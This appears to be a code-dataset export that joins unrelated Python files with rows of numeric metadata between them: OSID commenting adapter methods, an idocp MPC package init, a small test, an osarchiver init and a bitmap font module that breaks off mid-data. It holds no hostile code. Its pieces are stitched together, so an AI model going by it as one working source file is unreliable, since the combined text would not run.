# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.can_create_resource_with_record_types
return self._get_provider_session('comment_admin_session').can_create_comment_with_record_types(*args, **kwargs)
def get_comment_form_for_create(self, *args, **kwargs):
"""Pass through to provider CommentAdminSession.get_comment_form_for_create"""
# Implemented from -
# osid.commenting.CommentAdminSession.get_comment_form_for_create
return self._get_provider_session('comment_admin_session').get_comment_form_for_create(*args, **kwargs)
def create_comment(self, *args, **kwargs):
"""Pass through to provider CommentAdminSession.create_comment"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.create_resource
return self._get_provider_session('comment_admin_session').create_comment(*args, **kwargs)
def can_update_comments(self):
"""Pass through to provider CommentAdminSession.can_update_comments"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.can_update_resources
return self._get_provider_session('comment_admin_session').can_update_comments()
def get_comment_form_for_update(self, *args, **kwargs):
"""Pass through to provider CommentAdminSession.get_comment_form_for_update"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.get_resource_form_for_update
return self._get_provider_session('comment_admin_session').get_comment_form_for_update(*args, **kwargs)
def get_comment_form(self, *args, **kwargs):
"""Pass through to provider CommentAdminSession.get_comment_form_for_update"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.get_resource_form_for_update
# This method might be a bit sketchy. Time will tell.
if isinstance(args[-1], list) or 'comment_record_types' in kwargs:
return self.get_comment_form_for_create(*args, **kwargs)
else:
return self.get_comment_form_for_update(*args, **kwargs)
def duplicate_comment(self, comment_id):
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.get_resource_form_for_update
return self._get_provider_session('comment_admin_session').duplicate_comment(comment_id)
def update_comment(self, *args, **kwargs):
"""Pass through to provider CommentAdminSession.update_comment"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.update_resource
# Note: The OSID spec does not require returning updated object
return self._get_provider_session('comment_admin_session').update_comment(*args, **kwargs)
def save_comment(self, comment_form, *args, **kwargs):
"""Pass through to provider CommentAdminSession.update_comment"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.update_resource
if comment_form.is_for_update():
return self.update_comment(comment_form, *args, **kwargs)
else:
return self.create_comment(comment_form, *args, **kwargs)
def can_delete_comments(self):
"""Pass through to provider CommentAdminSession.can_delete_comments"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.can_delete_resources
return self._get_provider_session('comment_admin_session').can_delete_comments()
def delete_comment(self, *args, **kwargs):
"""Pass through to provider CommentAdminSession.delete_comment"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.delete_resource
self._get_provider_session('comment_admin_session').delete_comment(*args, **kwargs)
def can_manage_comment_aliases(self):
"""Pass through to provider CommentAdminSession.can_manage_comment_aliases"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.can_manage_resource_aliases_template
return self._get_provider_session('comment_admin_session').can_manage_comment_aliases()
def alias_comment(self, *args, **kwargs):
"""Pass through to provider CommentAdminSession.alias_comment"""
# Implemented from kitosid template for -
# osid.resource.ResourceAdminSession.alias_resources
self._get_provider_session('comment_admin_session').alias_comment(*args, **kwargs)
class BookList(abc_commenting_objects.BookList, osid.OsidList):
"""BookList convenience adapter including related Session methods."""
def get_next_book(self):
"""Gets next object"""
# Implemented from kitosid template for -
# osid.resource.ResourceList.get_next_resource
try:
next_item = next(self)
except StopIteration:
raise IllegalState('no more elements available in this list')
else:
return next_item
def next(self):
"""next method for enumerator"""
# Implemented from kitosid template for -
# osid.resource.ResourceList.get_next_resource
next_item = osid.OsidList.next(self)
return next_item
__next__ = next
next_book = property(fget=get_next_book)
def get_next_books(self, n):
"""gets next n objects from list"""
# Implemented from kitosid template for -
# osid.resource.ResourceList.get_next_resources
if n > self.available():
# !!! This is not quite as specified (see method docs) !!!
raise IllegalState('not enough elements available in this list')
else:
next_list = []
i = 0
while i < n:
try:
next_list.append(next(self))
except StopIteration:
break
i += 1
return next_list
| 50.239607
| 129
| 0.709209
| 7,704
| 66,467
| 5.772845
| 0.045431
| 0.047443
| 0.041215
| 0.066578
| 0.863943
| 0.827023
| 0.792733
| 0.742479
| 0.693866
| 0.620452
| 0
| 0.000738
| 0.20526
| 66,467
| 1,322
| 130
| 50.27761
| 0.84119
| 0.367099
| 0
| 0.38949
| 0
| 0
| 0.085507
| 0.034007
| 0
| 0
| 0
| 0
| 0
| 1
| 0.268934
| false
| 0.026275
| 0.007728
| 0.001546
| 0.514683
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
322510fc220b2ddaa016a9f42fc5e0f7bf644019
| 78
|
py
|
Python
|
bindings/python/idocp/mpc/__init__.py
|
z8674558/idocp
|
946524db7ae4591b578be2409ca619961572e7be
|
[
"BSD-3-Clause"
] | 43
|
2020-10-13T03:43:45.000Z
|
2021-09-23T05:29:48.000Z
|
bindings/python/idocp/mpc/__init__.py
|
z8674558/idocp
|
946524db7ae4591b578be2409ca619961572e7be
|
[
"BSD-3-Clause"
] | 32
|
2020-10-21T09:40:16.000Z
|
2021-10-24T00:00:04.000Z
|
bindings/python/idocp/mpc/__init__.py
|
z8674558/idocp
|
946524db7ae4591b578be2409ca619961572e7be
|
[
"BSD-3-Clause"
] | 4
|
2020-10-08T05:47:16.000Z
|
2021-10-15T12:15:26.000Z
|
from .mpc_quadrupedal_walking import *
from .mpc_quadrupedal_trotting import *
| 39
| 39
| 0.858974
| 10
| 78
| 6.3
| 0.6
| 0.222222
| 0.571429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.089744
| 78
| 2
| 39
| 39
| 0.887324
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
5c593d27f50700cb51880aa6573e5a653e2edc1f
| 109
|
py
|
Python
|
examplepackage/tests/test_badmodule.py
|
dionysisbacchus/python-project-template
|
1c25dc7022614b59c61bb99321c580afdeac17f2
|
[
"MIT"
] | null | null | null |
examplepackage/tests/test_badmodule.py
|
dionysisbacchus/python-project-template
|
1c25dc7022614b59c61bb99321c580afdeac17f2
|
[
"MIT"
] | null | null | null |
examplepackage/tests/test_badmodule.py
|
dionysisbacchus/python-project-template
|
1c25dc7022614b59c61bb99321c580afdeac17f2
|
[
"MIT"
] | 3
|
2022-02-22T06:54:19.000Z
|
2022-02-23T20:06:13.000Z
|
from examplepackage.badmodule import bad_function
def test_bad_function():
assert bad_function(1) == 1
| 18.166667
| 49
| 0.779817
| 15
| 109
| 5.4
| 0.666667
| 0.407407
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021505
| 0.146789
| 109
| 5
| 50
| 21.8
| 0.849462
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
5c72028c31171df1d7f7fe4ed3dcb10a84cb24ff
| 309
|
py
|
Python
|
osarchiver/destination/db/__init__.py
|
pcibot/osarchiver
|
19f07ba7585c021f03f7928fc0b5614570db75a3
|
[
"BSD-3-Clause"
] | 18
|
2019-06-06T09:37:18.000Z
|
2022-01-12T12:17:10.000Z
|
osarchiver/destination/db/__init__.py
|
pcibot/osarchiver
|
19f07ba7585c021f03f7928fc0b5614570db75a3
|
[
"BSD-3-Clause"
] | 8
|
2019-10-30T16:32:24.000Z
|
2022-01-12T12:47:49.000Z
|
osarchiver/destination/db/__init__.py
|
pcibot/osarchiver
|
19f07ba7585c021f03f7928fc0b5614570db75a3
|
[
"BSD-3-Clause"
] | 5
|
2019-06-06T12:27:07.000Z
|
2022-03-08T19:04:09.000Z
|
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.
# Copyright 2019 The OSArchiver Authors. All rights reserved.
"""
init file that allow to import Db from osarchiver.destination.db whithout
loading submodules
"""
from osarchiver.destination.db.db import Db
| 34.333333
| 73
| 0.786408
| 49
| 309
| 4.959184
| 0.734694
| 0.065844
| 0.205761
| 0.222222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.015326
| 0.15534
| 309
| 8
| 74
| 38.625
| 0.915709
| 0.812298
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
5cafbb577205610e4cb5bbb2ac7979b4e2d7e02e
| 24,507
|
py
|
Python
|
gui/fonts/font14.py
|
seelpro/micropython-micro-gui
|
0d25d5cbb8b3c4de986471acaa8b354ef6982130
|
[
"MIT"
] | 37
|
2021-06-07T11:38:32.000Z
|
2022-03-31T23:18:18.000Z
|
gui/fonts/font14.py
|
seelpro/micropython-micro-gui
|
0d25d5cbb8b3c4de986471acaa8b354ef6982130
|
[
"MIT"
] | 10
|
2022-01-06T21:33:35.000Z
|
2022-03-25T09:13:34.000Z
|
gui/fonts/font14.py
|
seelpro/micropython-micro-gui
|
0d25d5cbb8b3c4de986471acaa8b354ef6982130
|
[
"MIT"
] | 12
|
2021-06-29T03:28:48.000Z
|
2022-03-31T23:35:52.000Z
|
# Code generated by font_to_py.py.
# Font: FreeSans.ttf Char set: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~£¬°Ωαβγδθλμπωϕ
# Cmd: ./font_to_py.py -x -k extended FreeSans.ttf 23 font14.py
version = '0.33'
def height():
return 23
def baseline():
return 18
def max_width():
return 23
def hmap():
return True
def reverse():
return False
def monospaced():
return False
def min_ch():
return 32
def max_ch():
return 981
_font =\
b'\x0d\x00\x00\x00\x0f\xc0\x1f\xe0\x38\x70\x30\x30\x30\x30\x00\x30'\
b'\x00\x70\x00\x60\x01\xc0\x01\x80\x03\x00\x03\x00\x03\x00\x00\x00'\
b'\x00\x00\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x18\x18\x18\x18'\
b'\x18\x18\x18\x18\x18\x18\x18\x18\x18\x00\x00\x18\x18\x00\x00\x00'\
b'\x00\x00\x08\x00\x00\x00\x66\x66\x66\x66\x44\x44\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x00'\
b'\x00\x04\x60\x04\x60\x0c\x60\x0c\x40\x7f\xf8\x7f\xf8\x08\xc0\x18'\
b'\xc0\x18\xc0\x18\x80\xff\xf0\xff\xf0\x31\x80\x31\x80\x31\x00\x33'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x02\x00\x0f'\
b'\x80\x3f\xe0\x32\x60\x62\x30\x62\x30\x62\x00\x62\x00\x3a\x00\x3f'\
b'\x00\x0f\xe0\x02\xf0\x02\x30\x62\x30\x62\x30\x72\x70\x3f\xe0\x0f'\
b'\x80\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x02\x00\x1e\x02\x00\x3f\x04\x00\x73\x8c\x00\x61'\
b'\x88\x00\x73\x98\x00\x3f\x10\x00\x1e\x20\x00\x00\x23\xc0\x00\x47'\
b'\xe0\x00\xce\x70\x00\x8c\x30\x01\x8c\x30\x01\x0e\x70\x02\x07\xe0'\
b'\x02\x03\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x0f\x00\x00\x00\x00\x00\x07\x80\x0f\xc0\x1c\xe0\x18\x60'\
b'\x18\x60\x0c\xc0\x0f\x80\x0f\x00\x1b\x98\x31\xd8\x60\xf8\x60\x70'\
b'\x60\x30\x70\xf8\x3f\xd8\x1f\x0c\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x05\x00\x00\x00\x60\x60\x60\x60\x40\x40\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x02\x04'\
b'\x0c\x08\x18\x18\x10\x30\x30\x30\x30\x30\x30\x30\x30\x18\x18\x18'\
b'\x0c\x0c\x04\x02\x08\x00\x00\x40\x20\x30\x10\x18\x18\x08\x0c\x0c'\
b'\x0c\x0c\x0c\x0c\x0c\x0c\x18\x18\x18\x30\x30\x20\x40\x09\x00\x00'\
b'\x00\x08\x00\x08\x00\x6b\x00\x3e\x00\x1c\x00\x36\x00\x24\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03'\
b'\x00\x03\x00\x03\x00\x3f\xf0\x3f\xf0\x03\x00\x03\x00\x03\x00\x03'\
b'\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30'\
b'\x30\x10\x10\x20\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x7c\x7c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x30\x30\x00\x00\x00\x00\x00\x06\x00\x00\x04\x0c\x08\x08\x18'\
b'\x10\x10\x10\x30\x20\x20\x20\x60\x40\x40\xc0\x80\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x00\x00\x0f\x80\x1f\xc0\x38\xe0\x30\x60\x60'\
b'\x30\x60\x30\x60\x30\x60\x30\x60\x30\x60\x30\x60\x30\x60\x30\x30'\
b'\x60\x38\xe0\x1f\xc0\x0f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x00\x00\x01\x00\x03\x00\x07\x00\x1f\x00\x1f'\
b'\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03'\
b'\x00\x03\x00\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x00\x00\x0f\x80\x3f\xe0\x30\x70\x60\x30\x60'\
b'\x30\x00\x30\x00\x30\x00\xe0\x01\xc0\x07\x80\x0e\x00\x18\x00\x10'\
b'\x00\x20\x00\x3f\xf0\x3f\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x00\x00\x0f\xc0\x3f\xe0\x30\x70\x60\x30\x60'\
b'\x30\x00\x70\x07\xe0\x07\xe0\x00\x70\x00\x30\x00\x30\x60\x30\x60'\
b'\x30\x30\x60\x3f\xe0\x0f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x00\x00\x00\xc0\x00\xc0\x01\xc0\x03\xc0\x06'\
b'\xc0\x04\xc0\x0c\xc0\x18\xc0\x10\xc0\x20\xc0\x3f\xf0\x3f\xf0\x00'\
b'\xc0\x00\xc0\x00\xc0\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x00\x00\x3f\xe0\x3f\xe0\x30\x00\x30\x00\x30'\
b'\x00\x37\x80\x3f\xe0\x70\xe0\x00\x70\x00\x30\x00\x30\x00\x30\x60'\
b'\x30\x70\xe0\x3f\xc0\x0f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x00\x00\x07\x80\x1f\xe0\x38\x60\x30\x70\x20'\
b'\x00\x60\x00\x67\x80\x7f\xe0\x70\x60\x60\x30\x60\x30\x60\x30\x20'\
b'\x30\x38\x60\x1f\xe0\x0f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x00\x00\x7f\xe0\x7f\xe0\x00\x40\x00\xc0\x00'\
b'\x80\x01\x80\x03\x00\x03\x00\x06\x00\x06\x00\x04\x00\x0c\x00\x0c'\
b'\x00\x08\x00\x18\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x00\x00\x0f\x80\x1f\xc0\x38\xe0\x30\x60\x30'\
b'\x60\x38\xe0\x1f\xc0\x1f\xc0\x38\xe0\x60\x30\x60\x30\x60\x30\x60'\
b'\x30\x30\x60\x1f\xc0\x0f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x00\x00\x0f\x00\x3f\xc0\x30\xc0\x60\x60\x60'\
b'\x60\x60\x60\x60\x60\x30\xe0\x3f\xe0\x1f\x60\x00\x60\x00\x60\x60'\
b'\xc0\x31\xc0\x3f\x80\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x06\x00\x00\x00\x00\x00\x00\x00\x30\x30\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x30\x30\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00'\
b'\x00\x00\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x30\x30\x10\x10'\
b'\x20\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x10\x00\xf0\x03\xc0\x0f\x00\x78\x00\x60\x00\x3c'\
b'\x00\x0f\x00\x03\xe0\x00\x70\x00\x10\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x7f\xf0\x7f\xf0\x00\x00\x00\x00\x7f'\
b'\xf0\x7f\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x60\x00\x78\x00\x1e\x00\x07\xc0\x00\xf0\x00\x30\x00'\
b'\xf0\x07\x80\x1e\x00\x78\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x0d\x00\x00\x00\x0f\xc0\x1f\xe0\x38\x70\x30\x30\x30'\
b'\x30\x00\x30\x00\x70\x00\x60\x01\xc0\x01\x80\x03\x00\x03\x00\x03'\
b'\x00\x00\x00\x00\x00\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x17\x00\x00\x00\x00\x00\x7f\x00\x03\xff\xc0\x07\x81'\
b'\xe0\x0e\x00\x70\x1c\x38\x38\x38\xfd\x98\x30\xc7\x8c\x31\x83\x0c'\
b'\x63\x83\x0c\x63\x03\x0c\x63\x02\x0c\x63\x06\x18\x63\x06\x18\x73'\
b'\x8e\x30\x31\xff\xf0\x38\xe3\xc0\x1c\x00\x00\x0f\x00\x00\x03\xff'\
b'\x00\x00\xfe\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x03\x80'\
b'\x03\xc0\x07\xc0\x06\xc0\x06\xe0\x0e\x60\x0c\x60\x0c\x70\x18\x30'\
b'\x18\x30\x1f\xf8\x3f\xf8\x30\x18\x30\x1c\x70\x0c\x60\x0c\x60\x0e'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x3f\xe0'\
b'\x3f\xf0\x30\x38\x30\x18\x30\x18\x30\x18\x30\x30\x3f\xe0\x3f\xf0'\
b'\x30\x18\x30\x0c\x30\x0c\x30\x0c\x30\x0c\x30\x18\x3f\xf8\x3f\xf0'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x03\xf0'\
b'\x0f\xf8\x1c\x1c\x38\x0e\x30\x06\x60\x00\x60\x00\x60\x00\x60\x00'\
b'\x60\x00\x60\x00\x60\x06\x30\x06\x38\x0c\x1c\x1c\x0f\xf8\x03\xe0'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x3f\xe0'\
b'\x3f\xf8\x30\x38\x30\x0c\x30\x0c\x30\x06\x30\x06\x30\x06\x30\x06'\
b'\x30\x06\x30\x06\x30\x06\x30\x0c\x30\x0c\x30\x38\x3f\xf0\x3f\xe0'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x3f\xf8'\
b'\x3f\xf8\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x3f\xf8\x3f\xf8'\
b'\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x3f\xfc\x3f\xfc'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x3f\xf8'\
b'\x3f\xf8\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x3f\xf0\x3f\xf0'\
b'\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x00\x03'\
b'\xf0\x00\x0f\xfc\x00\x1c\x0e\x00\x38\x07\x00\x30\x03\x00\x70\x00'\
b'\x00\x60\x00\x00\x60\x00\x00\x60\x3f\x00\x60\x3f\x00\x60\x03\x00'\
b'\x70\x03\x00\x30\x03\x00\x38\x07\x00\x1c\x1f\x00\x0f\xfb\x00\x03'\
b'\xe1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x11\x00\x00\x00\x00\x30\x06\x00\x30\x06\x00\x30\x06\x00\x30'\
b'\x06\x00\x30\x06\x00\x30\x06\x00\x30\x06\x00\x3f\xfe\x00\x3f\xfe'\
b'\x00\x30\x06\x00\x30\x06\x00\x30\x06\x00\x30\x06\x00\x30\x06\x00'\
b'\x30\x06\x00\x30\x06\x00\x30\x06\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x30\x30\x30\x30\x30'\
b'\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x00\x00\x00'\
b'\x00\x0c\x00\x00\x00\x00\xc0\x00\xc0\x00\xc0\x00\xc0\x00\xc0\x00'\
b'\xc0\x00\xc0\x00\xc0\x00\xc0\x00\xc0\x00\xc0\x00\xc0\x60\xc0\x60'\
b'\xc0\x71\xc0\x3f\x80\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0f\x00\x00\x00\x30\x0e\x30\x1c\x30\x38\x30\x70\x30\xe0\x31'\
b'\xc0\x33\x80\x37\x80\x3f\x80\x3c\xc0\x38\xe0\x30\x60\x30\x30\x30'\
b'\x38\x30\x18\x30\x0c\x30\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x0d\x00\x00\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30'\
b'\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30'\
b'\x00\x30\x00\x3f\xf0\x3f\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x13\x00\x00\x00\x00\x38\x01\xc0\x38\x01\xc0\x3c\x03\xc0\x3c'\
b'\x03\xc0\x36\x02\xc0\x36\x06\xc0\x36\x06\xc0\x33\x04\xc0\x33\x0c'\
b'\xc0\x33\x0c\xc0\x31\x98\xc0\x31\x98\xc0\x31\x98\xc0\x30\xf0\xc0'\
b'\x30\xf0\xc0\x30\xf0\xc0\x30\x60\xc0\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x38\x06\x00'\
b'\x38\x06\x00\x3c\x06\x00\x3c\x06\x00\x36\x06\x00\x37\x06\x00\x33'\
b'\x06\x00\x31\x86\x00\x31\xc6\x00\x30\xc6\x00\x30\x66\x00\x30\x66'\
b'\x00\x30\x36\x00\x30\x3e\x00\x30\x1e\x00\x30\x0e\x00\x30\x0e\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12'\
b'\x00\x00\x00\x00\x03\xf0\x00\x0f\xfc\x00\x1c\x0e\x00\x38\x07\x00'\
b'\x30\x03\x00\x70\x03\x80\x60\x01\x80\x60\x01\x80\x60\x01\x80\x60'\
b'\x01\x80\x60\x01\x80\x70\x03\x80\x30\x03\x00\x38\x07\x00\x1c\x0e'\
b'\x00\x0f\xfc\x00\x03\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x3f\xe0\x3f\xf8\x30\x18'\
b'\x30\x0c\x30\x0c\x30\x0c\x30\x0c\x30\x1c\x3f\xf8\x3f\xf0\x30\x00'\
b'\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x00\x03\xf0\x00\x0f\xfc'\
b'\x00\x1c\x0e\x00\x38\x07\x00\x30\x03\x00\x70\x03\x80\x60\x01\x80'\
b'\x60\x01\x80\x60\x01\x80\x60\x01\x80\x60\x01\x80\x70\x03\x80\x30'\
b'\x13\x00\x38\x1f\x00\x1c\x1e\x00\x0f\xff\x00\x03\xf3\x00\x00\x01'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00'\
b'\x00\x3f\xf0\x3f\xf8\x30\x1c\x30\x0c\x30\x0c\x30\x0c\x30\x0c\x30'\
b'\x18\x3f\xf0\x3f\xf8\x30\x1c\x30\x0c\x30\x0c\x30\x0c\x30\x0c\x30'\
b'\x0c\x30\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00'\
b'\x00\x07\xe0\x1f\xf8\x18\x38\x30\x0c\x30\x0c\x30\x00\x38\x00\x1f'\
b'\x00\x0f\xf0\x00\xf8\x00\x1c\x00\x0c\x60\x0c\x60\x0c\x38\x18\x1f'\
b'\xf8\x07\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00'\
b'\x00\x7f\xf8\x7f\xf8\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03'\
b'\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03\x00\x03'\
b'\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00'\
b'\x00\x00\x30\x06\x00\x30\x06\x00\x30\x06\x00\x30\x06\x00\x30\x06'\
b'\x00\x30\x06\x00\x30\x06\x00\x30\x06\x00\x30\x06\x00\x30\x06\x00'\
b'\x30\x06\x00\x30\x06\x00\x30\x06\x00\x38\x0e\x00\x1c\x1c\x00\x0f'\
b'\xf8\x00\x07\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x0f\x00\x00\x00\x60\x0c\x60\x0c\x60\x1c\x30\x18'\
b'\x30\x18\x38\x38\x18\x30\x18\x30\x1c\x70\x0c\x60\x0c\x60\x0e\xe0'\
b'\x06\xc0\x06\xc0\x07\xc0\x03\x80\x03\x80\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x16\x00\x00\x00\x00\xe0\x70\x18\x60\x70\x38\x60'\
b'\x78\x38\x60\x78\x30\x70\xd8\x30\x30\xd8\x30\x30\xcc\x70\x30\xcc'\
b'\x60\x39\x8c\x60\x19\x86\x60\x19\x86\xe0\x1b\x86\xc0\x1f\x06\xc0'\
b'\x0f\x03\xc0\x0f\x03\xc0\x0e\x03\x80\x0e\x03\x80\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x70'\
b'\x0c\x30\x18\x38\x38\x1c\x30\x0c\x60\x0e\xe0\x06\xc0\x03\x80\x03'\
b'\x80\x07\xc0\x06\xc0\x0e\x60\x1c\x70\x18\x30\x38\x18\x70\x1c\x60'\
